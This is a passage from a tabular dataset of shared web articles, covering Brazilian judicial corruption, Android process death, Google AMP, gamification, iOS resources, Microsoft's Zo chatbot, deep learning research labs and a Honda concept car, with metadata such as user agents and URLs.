'Bandidos de toga' A venda de sentença é a principal causa de afastamento de magistrados pelo CNJ, que inclusive já condenou três vezes o mesmo desembargador pelo crime. Autora da expressão ""bandidos de toga"" para se referir aos magistrados corruptos, a ex-corregedora do CNJ e ex-ministra do STJ Eliana Calmon diz que pouca coisa mudou desde quando fez a afirmação, quando comandava a apuração de infrações cometidas por magistrados entre 2010 e 2012. ""A sociedade não perdoa juiz corrupto. É repugnante até para quem corrompe"", afirma. Para Eliana Calmon, é preciso mudar a Lei Orgânica da Magistratura Nacional para haver mais rigor na punição de ilegalidades praticadas por juízes e desembargadores. ""É necessário separar as maçãs podres para fortalecer o Judiciário com ainda mais credibilidade popular, como vem acontecendo depois da Lava Jato. Isso não exclui os juízes corruptos que se escondem, se protegem por detrás das garantias da magistratura. Este foi o sentido da frase que cunhei ao me referir aos bandidos de toga"", recomenda. A revisão da Loman, contudo, ganhou os holofotes recentemente depois que o presidente do Senado, Renan Calheiros (PMDB-AL), pediu ao presidente da Câmara, Rodrigo Maia (DEM-RJ), para ""agilizar"" a votação da proposta de emenda constitucional (PEC 53/2011). Marcos Corrêa/Presidência Temer (ao centro) faz reunião com Cármen Lúcia e Renan Calheiros após pressão no Congresso para mudar lei que permite demissão de magistrado A emenda foi aprovada no Senado em 2013, prevendo a cassação dos vencimentos de magistrados condenados pelo CNJ ao criar a possibilidade de ""demissão"" no âmbito da magistratura. O texto dormitava nos escaninhos da Câmara, mas ressurgiu com a eclosão da Operação Lava Jato. Renan defendeu a PEC como ""uma medida fundamental de combate à corrupção e à impunidade"" dos magistrados e para acabar com o ""prêmio"" representado pela ""aposentadoria por juiz e membro do Ministério Público"" que cometeram crimes. Dipp avalia que a iniciativa do Congresso fere a Constituição, uma vez que esta define o STF como órgão que deva sugerir um projeto de lei regulamentando uma nova Loman. Na madrugada do dia 30, deputados federais aprovaram o texto-base do pacote de medidas anticorrupção proposto pelo Ministério Público . Com os novos tópicos apresentados e a derrubada de outros tantos, o projeto ficou desfigurado e foi criticado por várias instâncias do Judiciário, como a Procuradoria-Geral da República e a presidente do STF . Ele prevê punição a magistrados por abuso de autoridade . O Poder Judiciário não está nem além nem aquém de qualquer outro sacrifício que o povo brasileiro e as instituições venham a passar Gilson Dipp, ex-ministro do STJ e ex-corregedor do CNJ Mas o ex-corregedor do CNJ critica a demora do STF em propor a lei. Nas contas de Dipp, o Supremo discute o tema internamente há mais de 15 anos. ""Acho que o Judiciário já deveria ter ditado a adequação da nova Loman, consentânea com os tempos atuais. A Loman atual é antiquada e de certa maneira é corporativista"", avalia. Eliana Calmon também defende mudanças, ressaltando que há casos em que a aposentadoria compulsória é uma boa medida para servidores públicos em geral, inclusive no Judiciário. ""É imprescindível que se façam correções na Loman"", diz. A ex-ministra do STJ sugere uma nova legislação que crie multas para infrações menores, exija o ressarcimento de dinheiro público desviado e suspenda o direito de magistrados voltarem por novo concurso. ""Conheço juiz aposentado compulsoriamente por corrupção e que prestou novo concurso. Era juiz estadual e, após a punição administrativa, fez concurso para juiz federal. Se houvesse impedimento legal, ele não mais poderia fazer concurso, pelo menos para a magistratura"", conta. Penduricalhos A folha de pagamento com os compulsórios pode ser ainda maior se considerar gratificações e indenizações pagas pelos tribunais regionais. São os chamados ""penduricalhos"". O Tribunal de Justiça do Amazonas pagou neste ano, por exemplo, de R$ 10 mil a R$ 18 mil a cada um de quatro juízes aposentados por decisão do CNJ. Os valores aparecem na folha de pagamento apenas como ""vantagens pessoais"". A situação permite a um ex-desembargador do TJ-AM ampliar substancialmente os seus vencimentos. O salário fixo dele é de R$ 30.471,11 por mês, mas, com o recebimento nos últimos meses de R$ 10 mil como ""gratificação"", o ganho mensal sobe para R$ 38.261,05. Em maio deste ano, ele recebeu R$ 15,8 mil em gratificação, que, somados à parcela do 13º, fizeram sua renda líquida atingir R$ 46.404,63. Em resposta, o TJ-AM disse ""que o valor de R$ 15.788,49 corresponde à Parcela Autônoma de Equivalência, no montante de R$ 10 mil, paga em cumprimento à decisão judicial, assim como acontece em todos os tribunais do país, devida aos magistrados ativos e inativos; e o valor de R$ 5.788,49, concedido por decisão administrativa que corresponde a uma diferença de subsídio do ano de 2005 autorizada pela Lei 3.506/2010, de 17/05/2010, cujo término do pagamento se deu em junho de 2016"". São esses penduricalhos nos salários que fazem o Judiciário pagar, em muitos casos, mais que o teto permitido pela Constituição, que é o vencimento bruto de ministro do STF: R$ 33.763. Dipp afirma que ""tem certos benefícios que não podem ser recebidos pelos aposentados, mas vários tribunais estão pagando"". O Tribunal de Justiça do Estado de Santa Catarina (TJ-SC) reforçou, em agosto, por exemplo, o contracheque de um ex-desembargador com bonificação de R$ 11.516,34. Foi o repasse da Parcela Autônoma de Equivalência (PAE), concedido pelo órgão catarinense a seus magistrados para corrigir perda salarial com a URV (Unidade Real de Valor), adotada em 1994 para fazer a transição do cruzeiro para o real. Ele foi afastado pelo CNJ em junho de 2014. Ele perdeu o cargo por não denunciar a exploração sexual de uma adolescente. A Polícia Federal identificou que ele sabia de relações de um amigo com uma garota de programa de 16 anos. O ex-magistrado catarinense recebe mais de R$ 22,5 mil líquidos como aposentadoria, mas custa mais de R$ 30,3 mil ao TJ-SC, entre vencimento e impostos. Ele recebe mensalmente outros R$ 300 como auxílio-saúde. Em nota, o TJ-SC confirmou o benefício da ""restituição de contribuição do Instituto de Previdência de Santa Catarina, cobrado de forma equivocada em relação aos magistrados, e naquele instante [agosto] recomposto ao patrimônio dos anteriormente prejudicados, em conformidade com a legislação vigente"". Para o ex-corregedor do CNJ, a crise econômica impõe mais rigor ao Judiciário com esse tipo de ""penduricalho"" e deveria partir do STF a revisão dos benefícios. ""O ajuste fiscal [conduzido pelo governo federal], não importa quem seja o causador, deve corresponder a todo o serviço público."" O presidente da AMB defende um enxugamento nos benefícios dos magistrados. Ele avalia que o ideal é uma combinação de salário mais o adicional por tempo de serviço, que englobaria o auxílio moradia pago hoje a magistrados da ativa. ""O que queremos é uma política mais estável para a magistratura. O Congresso entende isso, mas não se direciona para criar essa estrutura legal"", diz João Ricardo Costa. Obrigado pela sua inscrição",pt
1480955384,CONTENT SHARED,8310689940464940949,-1819083151847984459,3697326613788347092,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,https://medium.com/inloop/android-process-kill-and-the-big-implications-for-your-app-1ecbed4921cb,Android process death - and the (big) implications for your app - Inloop,"With more developers using Dependency Injection (e.g. Dagger) in Android and adopting patterns such MVP or MVVM, this topic is more needed than ever. There is a recent spike in use of what I would call ""hidden Singletons"", the same anti-pattern just bundled differently. Your Android application (process) can be killed at any time if it's in paused or stopped state . Thestate of your Activities, Fragments and Views will be saved. When your return back to the application - the system will start the process again, recreate the top activity (the Activities in the back-stack will be recreated on demand when you go back) and you will get a Bundle with the stored state. And here lies the issue some developers don't fully realise - the whole process was killed. So any Singletons (or any ""application scope"" objects), any temporary data, any data stored in your ""retained Fragments"" - everything will be in a state as if you just launched the application . With one big difference - the state is restored, the user is at the point where he left the app. Imagine, in your Activity you are depending on some shared Object, or some injected dependency where you keep recent data. Most likely the application will just crash on a NullPointerException because you didn't expect the data to be in null. How to test the application background kill & restore? Launch your application, open some new Activity, do some work. Hit the Home button (application will be in the background, in stopped state). Kill the Application - easiest way is to just click the red ""stop"" button in Android Studio. Return back to your application (launch from Recent apps). Crash? You are doing something wrong in your application :-). By opening the app - the system will restore its' state and the user will not even notice that actually the process was killed in the mean time. Well unless your application crashes because you were not prepared for it. For this scenario it's definitely not enough to just test your app with the ""Don't Keep Activities"" options in the Debug Settings. This will just test if your activities can restore their state, but the process is never killed this way. The crashes will start coming in when you release your application, the users will open it and the leave it in background for a day and return back. You can also set Background Process Limit to ""No background processes"" in Developer options. Put the application into background, launch any other application and then return back - application process will be restarted (the same as if killed due to lack of memory or battery saving). Singletons Any other shared instances that keep mutable data (such as injected dependencies where you keep some state) Data and State stored in your Application class Mutable static fields Retained fragments (state is restored, data is lost) Basically anything which is not stored in onSaveInstanceState and you depend on it Troublemakers in your app There is no single solution and it depends on the type of your application. Generally you should try to stay away from anything mentioned in the list, but that's not always easy or possible. You should be able to ""reinitialise"" the state - either load data from a database, SharedPreferences or reload anything needed again. You may also have a login screen and timeout in your application - in that case it's an acceptable approach to just detect the process kill scenario and forward the user back to the login screen. Know the Android platform rules Any architecture, framework or library has to play according to the Android platform rules. So anytime you see a new library or approach - think about if and how is it handling state restoration. Follow me and read about possible solutions to this problem in the next article. And as always - test your application for these cases. This particular issue is bad in the way that you will almost never see it during development and simple testing. But the end users will run into it regularly.",en
1480967237,CONTENT SHARED,-885453047081832598,-2726721797588771398,1554963743133364648,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36",NJ,US,HTML,http://www.cmswire.com/digital-marketing/what-google-amp-means-for-every-marketer/,What Google AMP Means for Every Marketer,"Marketers can't afford to ignore Google AMP any longer - make it part of your balanced marketing strategy PHOTO: Kaique Rocha Mobile isn't what's next - it's what's right now. Mobile has officially eclipsed desktop in terms of usage numbers, and is cementing itself as the go-to platform for connecting, engaging, shopping and general consumption. Even bigger than that, the number of mobile-only users - people using mobile exclusively - has surpassed desktop-only users . In fact, the vast majority of people are multiplatform, meaning, mobile plus desktops, laptops, smart TVs, and the list goes on. Unsurprisingly, consumers' increased reliance on mobile has pushed brands and marketers to assess the experiences they're delivering - specifically, to make those experiences better for end users. Until now, the web wasn't designed with mobile in mind. But a new era of mobile web is well underway - thanks, in no small part, to the Google Accelerated Mobile Pages (AMP) Project. Understanding Google AMP Project The goal of the Google AMP Project is as simple as it is complex: in short, put a framework in place to help improve mobile web experiences for everyone. These mobile-friendly pages started rolling on news-publication sites and other digital experiences centered around dynamic content. The thinking? If the user experience isn't spectacular on these platforms, consumers are likely to drop off. Google has expanded the reach and impact of the AMP Project as well as what it means for brands and consumers in the very short term. Earlier this year, the company announced it will include AMPs in its search results. So to stay ahead of the curve, companies need to optimize their pages using AMP - it's just part of a balanced marketing strategy. How Does AMP Impact You? As with any new innovation, the big question becomes ""What does this mean for ME and MY business?"" Out of the gate, brands must be prepared to have tough conversations with their designers. AMPs are an entirely new HTML standard, not something that can be wedged into an existing page. This is a ground-up project. And while they are tackling the design and user experience (UX), it's important to really embrace what AMP is - and what it isn't. The new AMP standard has stripped away the bloat that's meant to help ""normal"" webpages move faster. That means saying goodbye to JavaScript and - going one step further - a digital experience that's extremely limited in order to increase speed and load time, something that frustrates designers quite a bit (hence, the need for the tough conversations). Instead, when brands want to start leveraging AMPs, they need to begin with building a new page, using the specs outlined on the Google AMP Project site . It's easy enough for a developer to jump in and get the hang of things fairly quickly as it's a process designed with developers in mind. While the AMP process is often a letdown for designers, it's usually a hit with developers, enabling them to produce fast pages that are simplified, streamlined and positioned for success. How Analytics Work With AMP Marketers and brands must begin by reassessing their mobile experiences and, most likely, optimizing with AMPs. In addition, everyone needs to effectively track, measure and analyze how successful these new pages are, so they can allocate budgets accordingly. If you can't measure success, you can't demonstrate - nor improve - ROI. While it sounds fairly straightforward, the AMP framework has attempted to incorporate as much of what users need as possible. But there are some limitations that marketing analysts should be aware of. AMPs have their own tag, called <amp-analytics>. Under that umbrella, marketers have some control but typically not as much as they might in traditional frameworks. More recently, Google has attempted to streamline the analytics process, making it easier for brands to implement an analytics page within AMPs. Now, virtually any provider that wants to integrate with AMPs can - the <amp-analytics> tag provides the elements to ensure companies can measure key touch points. Caching Webpages - And Related Challenges Another unique AMP differentiator is caching. AMPs' added speed is supported by Google's search engine, which automatically caches these webpages. Therefore, when you click on search results that link to AMPs, Google can serve them immediately since the pages are sitting on their servers - servers that are closer and much faster. The issue here is with attribution and analytics. Because of heavy cookie restrictions, if you're working with an AMP, it's almost impossible to know whether site visitors are returning or new, what they've viewed previously, and many other key details that marketers typically use to deliver relevant experiences. Furthermore, you never know where site content will load from or even which partners or domains are getting the attribution. Just because you're visiting NewspaperX.com doesn't necessarily mean that's where your content will load from - it could come from Twitter or Pinterest, for example. It's a tricky situation to navigate for brands, marketers and analysts. The Mobile App vs. Mobile Web Debate While this may sound like a seismic shift, it really shouldn't seem that unfamiliar to marketers and brands. In many ways, AMPs mirror the earliest phases of the mobile app explosion. Back then, companies were quick to shore-up solid measurement strategies. Fast forward to today, and we're in the mobile web revolution. You still need to measure app engagement and other key performance indicators (KPIs), but you also have to keep a close eye on mobile web, comparing and contrasting as you go. But, beyond all of that, an even bigger back and forth is in play: specifically, the mobile app versus mobile web debate that AMPs represent. Though the two battle for advertising views, mobile apps continue to edge out mobile web. For a platform like Google, this won't work. Google is web-first, after all, as is its core product. It has a massive vested interest in improving the mobile web for everyone - not just for the company or its users. Facebook, too, wants to keep its users in the Facebook app but also has a major interest in mobile web. The end result? Facebook has its own competing mobile web standards called Facebook Instant Articles and that adds another layer of challenge to the analytics conversation. But given these platforms' sizes, scopes and unparalleled influences it's something brands can't afford to ignore moving forward. Expect More for AMPs - and Us If AMPs continue to translate their momentum with publishers into other verticals, expect this technology to materially impact the fundamentals of how mobile web is experienced. The AMP standard is evolving rapidly, especially into the commerce and video worlds, so expect those shifts - and the dramatic outcomes - as distinct possibilities. For brands and marketers, it's important to stay updated by frequently visiting the AMP Project website. The AMP roadmap includes information regarding what's new and what's next. If you're a developer, you can even contribute to its repository on GitHub . AMPs aim to solve one of the major pain points tied to mobile web: the fact that it's painfully slow. For this reason, AMPs could not only boom in usage, but also drum up increased excitement among brands and consumers. At the end of the day, AMPs are here - and they have the potential to become bigger, better and more highly sought. Your job is to dive in and determine how to make the most of these mobile web experiences as part of any well-balanced marketing strategy. Trevor Paulsen works as a product manager specializing in the use of data mining and predictive analytics techniques for customer intelligence for the Adobe Analytics compute platform. He has designed and implemented predictive analytics solutions for many Fortune 500 organizations.",en
1481020186,CONTENT SHARED,-7499831854130267106,1120069409160402054,-4032379903389721,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://www.gamification.co/2016/12/06/sweet-way-gamification-helps-mms-boost-consumer-engagement/,The Sweet Way that Gamification Helps M&M's Boost Consumer Engagement - Gamification Co,"It wasn't long ago when marketing choices were relatively few and messages were simple. Companies pitched their products via the old standby of print advertising. Eventually, broadcast advertising emerged as the surefire way to bring a product to the attention of the largest captive audience. But the digital age has eclipsed the broadcast age and companies need new ways to support consumer engagement . M&Ms, an old standby candy product, is overcoming these new digital challenges with gamification. M&M's USA turned to a gamification strategy for a campaign promoting its pretzel-flavored version of the candy. The company's marketing efforts included an eye spy game in the campaign, according to Digital Training Academy . Promotional images posted online were comprised of an image of M&M's. The campaign challenged consumers to find the single pretzel hidden in the image. M&M found that the game readily engaged consumers. The campaign also generated some tasty results for the company. M&M's digital marketing efforts garnered more than 25,000 new likes on the brand's Facebook page, plus 6,000 shares and 10,000 comments, according to Digital Training Academy. Just because consumers are living digital lives doesn't mean that marketing campaigns need to be stuck in the past. More than 77 percent of Americans own smartphones and many of them connect with brands through ""micro moments,"" Paul Polizzotto, president and founder of CBSEcoMedia, writes in AdExchanger . ""Gamified ads may be the perfect way to attract this audience and have been shown to increase consumer engagement,"" Polizzotto says. But there's a right way and a wrong way to digitally engage consumers with a game. If the game is complex or cumbersome, users will lose interest. The genius of M&M's campaign is that it is based on the relatively simple concept of hide and seek, Polizzotto says. If a campaign can successfully manage consumer engagement, it stands a stronger chance of spring boarding the interest of one consumer into shares and online discussion with others. Word of mouth, whether it happens in person or online, counts as a marketing win. --- Need help with behavioral science and gamification? Get in touch with our boutique consulting agency Dopamine.",en
1481022596,CONTENT SHARED,7934258011380835332,1120069409160402054,-4032379903389721,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://apps2.fiesp.com.br/outlookDeagro/pt-BR,Outlook 2026 - Projeções para o Agronegócio Brasileiro,"Neste site será possível acessar os resultados das projeções para 2024, realizadas pela FIESP em parceria com a MB Agro, de algumas das principais commodities agropecuárias produzidas no Brasil, em termos de produção, produtividade, área (incluindo a dinâmica regional), exportação líquida, consumo doméstico, produção e demanda de fertilizantes, além do uso da terra no País para o período projetado.",pt
1481025637,CONTENT SHARED,6104598399077154797,-3643155458357242906,-3145802272298965700,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,https://medium.com/cocoaheads-br/https-medium-com-calebeemerick-como-consumir-conteudo-de-qualidade-em-ios-c3dec62b8993,Como consumir conteúdo de qualidade em iOS - CocoaHeads BR,"Quando iniciei minha jornada em Swift, saindo da versão 1.1 para a 1.2, tive muuuuuitos problemas. Era a primeira vez que estava aprendendo uma linguagem em desenvolvimento (mas não sabia disso). Achei então um livro de Swift na Casa do Código . Comecei a ler, fazer os exemplos e os códigos davam erros constantemente, o que me deixava maluco. ������ Procurava no Google e no Youtube por Swift e aparecia ela, Taylor Swift...�� Hoje a linguagem está mais madura, até a data dessa publicação está na versão 3.0.1. A comunidade cresceu absurdamente, é muito mais fácil encontrar conteúdo, talvez nem sempre de qualidade, mas já é alguma coisa. Chega de historinha, hora de falar onde encontrar conteúdo de qualidade relacionado à Swift e iOS. Pegue a pipoca��, porque o artigo promete! ( Ser bem grande ��). �� Livros Aqui estão alguns livros que vão desde o básico até o avançado. ���� Cereja do Bolo �� segundo Ezequiel França �� �� Github �� Medium Algumas pessoas que sigo e que costumam publicar com certa frequência. Uma dica legal é seguir as tags #Swift e #iOS �� Blogs Alguns dos melhores blogs para consumir conteúdo em iOS. �� Vídeos Para quem gosta de aprender com vídeo tutoriais, aqui têm alguns sites (a maioria pago) que abrangem isso. Eu mesmo sou assinante do Treehouse ��. �� Twitter Alguns dos Twitters mais influentes de iOS. Nem sempre tweetam sobre, mas vale a pena seguir, porque sempre tem novidade ;) ���� Versão americana do Douglas Fischer �� �� Eventos �� Links Interessantes Ufa! Acho que é isso. �� Se acha que está faltando alguma fonte que não foi mencionada, não hesite em comentar! Sugestões e críticas são bem vindas. Agradecimentos ���� Gostaria de agradecer o Douglas Fischer , Josenilton Cabral, Thiago Holanda , Diego Ventura , Tales pinheiro , Marcelo Fabri , valentebruno , Fernando Bunn , Ezequiel França , Daniel Bonates , Bruno Bilescky e toda a galera do Cocoa Heads BR . ������ Espero que tenham gostado. Obrigado aos envolvidos e leitores! ❤",pt
1481038514,CONTENT SHARED,-7529178973676767391,3609194402293569455,-4538034959359203810,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.digitaltrends.com/mobile/microsoft-zo-kik-launch/,"Zo, Microsoft's latest attempt at a chatbot, is ready to converse on Kik app","Microsoft may have failed big time when it launched the Tay bot on Twitter earlier in 2016, but the company isn't totally done with chatbots just yet. In fact, it is now giving the chatbot another go-around on the Kik messaging app. The new bot is called Zo and according to a report from MSPoweruser is basically just an English-language version of the company's Chinese bot, Xiaoice which, according to the report, is basically a censored version of Tay. Like its Chinese counterpart, the bot is aimed at being able to hold conversations with users. More: Microsoft seeking fix after vulnerability found in Windows 10 security feature It was an interesting choice for Microsoft to launch the bot on Kik, especially considering the somewhat limited number of users on the platform. Perhaps the decision was made as a beta and the company is testing the bot on Kik's limited number of users before it launches it on more platforms. Or perhaps Microsoft wanted to ensure that a disaster on the scale of Tay could not be replicated. Still, Kik has been upfront with its embrace of chatbots, and it even created a bot store in April with the purpose of helping developers try out new artificially intelligent software. When it was first launched, the store included bots from the likes of Weather Channel, Vine, and Funny or Die. Some have noted Zo is particularly good at talking about Microsoft's own products, but can easily stop making sense even in day-to-day conversation . Microsoft still has yet to officially announce Zo or what it can do, but if you are a Kik user you can give the new bot a try by heading to the Zo ""early access"" page .",en
1481043373,CONTENT SHARED,4677417698542178243,-1443636648652872475,8735530473546255441,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://medium.com/intuitionmachine/the-different-ways-that-internet-giants-approach-deep-learning-research-753c9f99d9f1,Deep Learning Race: A Survey of Industry Players' Strategies - Intuition Machine,"I've been working for quite a while now in trying to make sense of the research developments in Deep Learning. The methodology I've employed is through the cataloging of Design Patterns . It's been quite effective in disentangling this ever growing complex field. In fact, as new surprising research is published by the giants in this field, my own conceptual understanding of how it all fits together continues to be tweaked. There are however certain patterns that I have observed that is actually outside that of a general understanding of Deep Learning. What I've observed is that the different leading research groups seem to emphasize different kinds of approaches in solving the riddle of artificial intelligence. Now, a bit of a caveat here, I'm not privy to the internal machinations inside these organizations. So if there's some secret sauce that an organization is brewing, then obviously I wouldn't know about it. However, by just reading the research publications, that fortunately come out quite occasionally, one gets a sense that organizations favor one approach from the other. (Note: The approaches are not mutually exclusive) So, with that out of the way, let me give you my intuition on the biases (or rather preferences) that each of the big players in the field approach Deep Learning research. Google DeepMind Ever since Google bought out DeepMind after seeing their Atari game playing AI, DeepMind has always had the preference of using Reinforcement Learning in their approach. They certainly use Deep Learning as a component in most of their research but always seems to emphasize its combination with RL. The DL research tends to focus on using variational methods that are embedded as non-parametric layers in their models. They also have a focus on attention mechanisms and memory augmented networks. In terms of breadth of research, I don't think there is any organization that is remotely close to DeepMind. DeepMind research seems to be driven by the need to discover the nature of intelligence. You can find more of there work here: Google Brain ($GOOG) Google has a distinct pragmatic and engineering approach in how they approach their research. You can see how they make endless tweaks on the inception architecture. They have detailed work on how they arrange their DL architectures around the compute resources that they have available. Google also combines other traditional algorithms like beam search, graph traversals and generalized linear models with DL . The approach seems to also emphasize the need for scalable solutions. Google is able to achieve impressive results as a consequence of their massive computational and data resources. You can find their research here: This is headed by Yann LeCun. It is unclear how strong this group is since it seems that most innovative research comes from Lecun's group in NYU. Lecun's group does a experimentation that explores the fundamentals, this is a sorely missing aspect that groups fail to perform enough. FAIR has published a couple of good open source implementations in Torch. They've done some good work applying DL in certain problems. It is however hard to see if there is any particular research preference. I find it difficult to discern an over arching theme of their research. Maybe you might have better luck: Microsoft ($MSFT) Is similar to Google in that their approach is very pragmatic and engineering oriented. Microsoft surprisingly has top notch computer science talent that had led to the discovery of Residual networks. They have other novel approaches like the Decision Forrest that indicates that the company clearly has thought leadership in this space and is not a company that is just a follower. Their Cognitive toolkit, despite coming late in the game, is a high quality piece of engineering. It likely is one of the better frameworks out there with respect to learning using distributed computers. I would say that Microsoft is likely second to Google in their research contributions. That's a big statement to make considering none of the original DL researchers have joined their team. See: OpenAI OpenAI was founded by Elon Musk (and some other lesser dudes) driven by the fear of seeing how quickly other firms had acquired Deep Learning talent. If you can't compete on financial terms, them offer academic freedom instead. OpenAI tends to favor the approach of using generative models, more specifically generative adversarial networks (GANs). They've also made a serious effort towards the Reinforcement Learning space. What's is curious though is that despite the impressive results of GANs, is that DeepMind seems to have a preference towards variational models instead. A glimpse of their research priorities can be found here: . Microsoft has offered its Azure service to OpenAI thus potentially assuring OpenAI's allegiance. University of Montreal This is Yoshua Bengio's group that is never really short on publications. Bengio is one of the few brave researchers who has not succumbed to joining a commercial entity. Similar to Lecun's NYU group, the approach focuses on trying to understand why DL works. The group also has plentiful work on tweaking DL with new models and learning algorithms. MILA is arguable the best academic DL research group in the planet (see: ). Google was pretty savvy by helping the group to some additional spare change. This move encouraged Hugo Larochelle to exit from Twitter ( quickly becoming a non-player ) and join the newly founded organization. SalesForce MetaMind ($CRM) Headed by Richard Socher, most of the work coming from this group has an obvious bent towards solving NLP problems using RNN based approaches. These solutions will tend towards network that employ memory in their construction. The output of these folks are quite impressive and therefore should be taken very seriously. Here's their work: Baidu ($BIDU) Andrew Ng's group that likely was one of the first organizations to really create massive GPU systems with Infiniband networks. They've done a lot of work emphasizing infrastructure and have open source some of their solutions. Their research focus has been in image and speech processing. In the latter, they've done extremely well. Their research can be found here: . Baidu was also originally involved with BMW with regards to self-driving cars. Nvidia ($NVDA) Nvidia is betting the bank on Deep Learning solutions. They have the best engineering team that is out there tweaking their GPUs to get maximum performance. They are completely absent in terms of innovative DL research, but you can trust them to have spent serious effort in building the computation resources required for DL. They however have likely one of the leading implementations on self-driving cars. Their end-to-end DL solution for self-driving cars is one of those DL research papers that I remember that's notable. Intel Nervana ($INTC) Intel was in deep trouble prior to their acquisition of the Nervana startup. Their hardware solutions were nowhere near competitive to Nvidia's. Nervana is very good at engineering the computational infrastructure used by Deep Learning. Some of the fastest implementations on GPU hardware come from Nervana. The speculation here is that Nervana was acquired for its software chops and not necessarily for the hardware they were designing. It is curious that the Nervana hardware solution eta is mid-2017, that in the DL field is a very long time. You won't find a lot of research publications coming out of Nervana, I don't think they were able to amass enough DL talent while they were still a startup. However Intel is a player you cannot write off, they have technology shared with Micron ($MU) that may give them an insurmountable advantage in this space. IBM ($IBM) IBM got this entire AI craze going with Watson destroyed its human competitors in Jeopardy. They were perceived to have been way ahead of everyone back in 2011. Unfortunately, Deep Learning came along and IBM has been slow to react in this space. Watson certainly uses DL in some of their solutions, however they are almost non-existent in terms of DL research. They have this TrueNorth neuromorphic computing thing going, but that's mostly more hype than actual substance. IBM is not as prominent a researcher in the DL space, but if you look hard enough you'll find some: . Apple ($AAPL) Not really much to say here other than the hiring of Russ Salakhutdinov from CMU tells you that future research would emphasize his bent toward unsupervised learning approaches. Apple is busy aqui-hiring companies. Some of the bigger hires (i.e. Dato) were in the ML space. Unfortunately, their acqui-hires were mostly in the data-science and big data space. I think when Apple realized that DL was different from ML , they rushed out and bought out Salakhutdinov. Apple's culture is extremely secretive, so I'm not sure if their lack of research publication is an indicator of lack of expertise or towing the corporate line. Update: BusinessInsider reports Apple will start publishing their work . Amazon ($AMZN) Not much to say other than the support of MXNet was a good thing. They had originally open sourced a framework called DSSTNE, it was unfortunately destined to receive a lot of neglect by the community. It's hard to get attention when there are so many competing frameworks that our out there. MXNet is actually impressively good considering that it did not have a big corporate backer. Uber Uber has made recent acquisitions of Otto (Self-Driving Trucks) and just recently started their AI Lab through the acquisition of Geometric Intelligence . Gary Marcus, the founder, was featured previously in other publications, he was unimpressed at that time with Deep Learning capabilities. It is important to note that Gary Marcus is a cognitive psychologist and not a computer scientist. Geometric Intelligence however was able to hire a basket load of ML practitioners . Uber's acquisition by all likelihood was an aqui-hire considering that is unlikely that Geometric Intelligence had any revenue, much less any product to speak of. Just another caveat, these are just my impressions and I am certain, given the deluge of information in the DL space, that I may have missed some publications that these organizations may have put out that should have been recognized. So my apologies if you feel my review was unfair. My point though of this article, is just to point out that AI research landscape is not homogenous. Different organizations have different priorities in what they believe as important research areas. There is definitely a AI race going on and the likely winner is the company that actually was the one lucky enough to have put resources in the winning research approach! It indeed very odd, that given the high stakes involved, that there's an implicit gamble that every firm seems to be making. Please signup with Intuition Machine if you want to receive a more comprehensive industry survey of DL developments.",en
1481043897,CONTENT SHARED,-2962461122453899874,-2337468721613240548,-2365120785909696269,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://g1.globo.com/carros/noticia/2016/12/honda-revela-conceito-de-carro-com-emocoes-e-inteligencia-artificial.html,Honda revela conceito de carro com 'emoções' e inteligência artificial,"05/12/2016 22h03 - Atualizado em Honda NeuV (Foto: Divulgação) A Honda revelou nesta segunda-feira (5) um conceito de carro que promete ter ""emoções"". O NeuV é um veículo destaque da empresa na feira de tecnologia CES, em Las Vegas, nos Estados Unidos, e tem uma inteligência artificial chamada de ""emotion engine"". Esta tecnologia, desenvolvida pela empresa Cocoro, permite às máquinas interagirem com os humanos com base no comportamento do usuário. De acordo com a empresa, a tecnologia faz com que a máquinas possa artificialmente gerar suas próprias emoções. Uma série de sensores e câmeras no veículo faz o carro perceber as emoções do motorista e até conversar com ele. A ideia é que o usuário e o veículo criem uma relação emocional.",pt
1481044964,CONTENT SHARED,-807868207410889392,6571439471025671820,8387406073183511870,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://blogs.microsoft.com/next/2016/12/05/17-17-microsoft-researchers-expect-2017-2027/,17 for '17: Microsoft researchers on what to expect in 2017 and 2027 - Next at Microsoft,"This week we are celebrating Computer Science Education Week around the globe. In this ""age of acceleration,"" in which advances in technology and the globalization of business are transforming entire industries and society itself, it's more critical than ever for everyone to be digitally literate, especially our kids. This is particularly true for women and girls who, while representing roughly 50 percent of the world's population, account for less than 20 percent of computer science graduates in 34 OECD countries, according to this report . This has far-reaching societal and economic consequences. Here's why: One issue sometimes cited for the dearth of women in computing fields is the lack of professional role models who could inspire girls to pursue their STEM dreams. We've attempted to counteract this by asking 17 women within Microsoft's global research organization their views on what's likely to occur in their fields in 2017. Since it's prediction season, we also asked them to tell us what's likely happen 10 years from now. We hope you'll enjoy their breadth of knowledge and also take a moment to share this feature on your social networks. If that simple act of sharing inspires just one more girl or boy to pursue their STEM passions, you will have contributed to the spirit of the week. Finally, if you believe every student in every school should have the opportunity to learn computer science, you can make your opinion known here . Kalika Bali , researcher, India research lab Follow her on Twitter Jennifer Chayes , distinguished scientist, managing director, New England and New York City research labs Follow her on Twitter Susan Dumais , distinguished scientist and deputy managing director Redmond, Washington, research lab Follow her on Twitter What will be the key advance in speech and natural language processing in 2017? Our speech and language technology applications will be increasingly multilingual in 2017. That 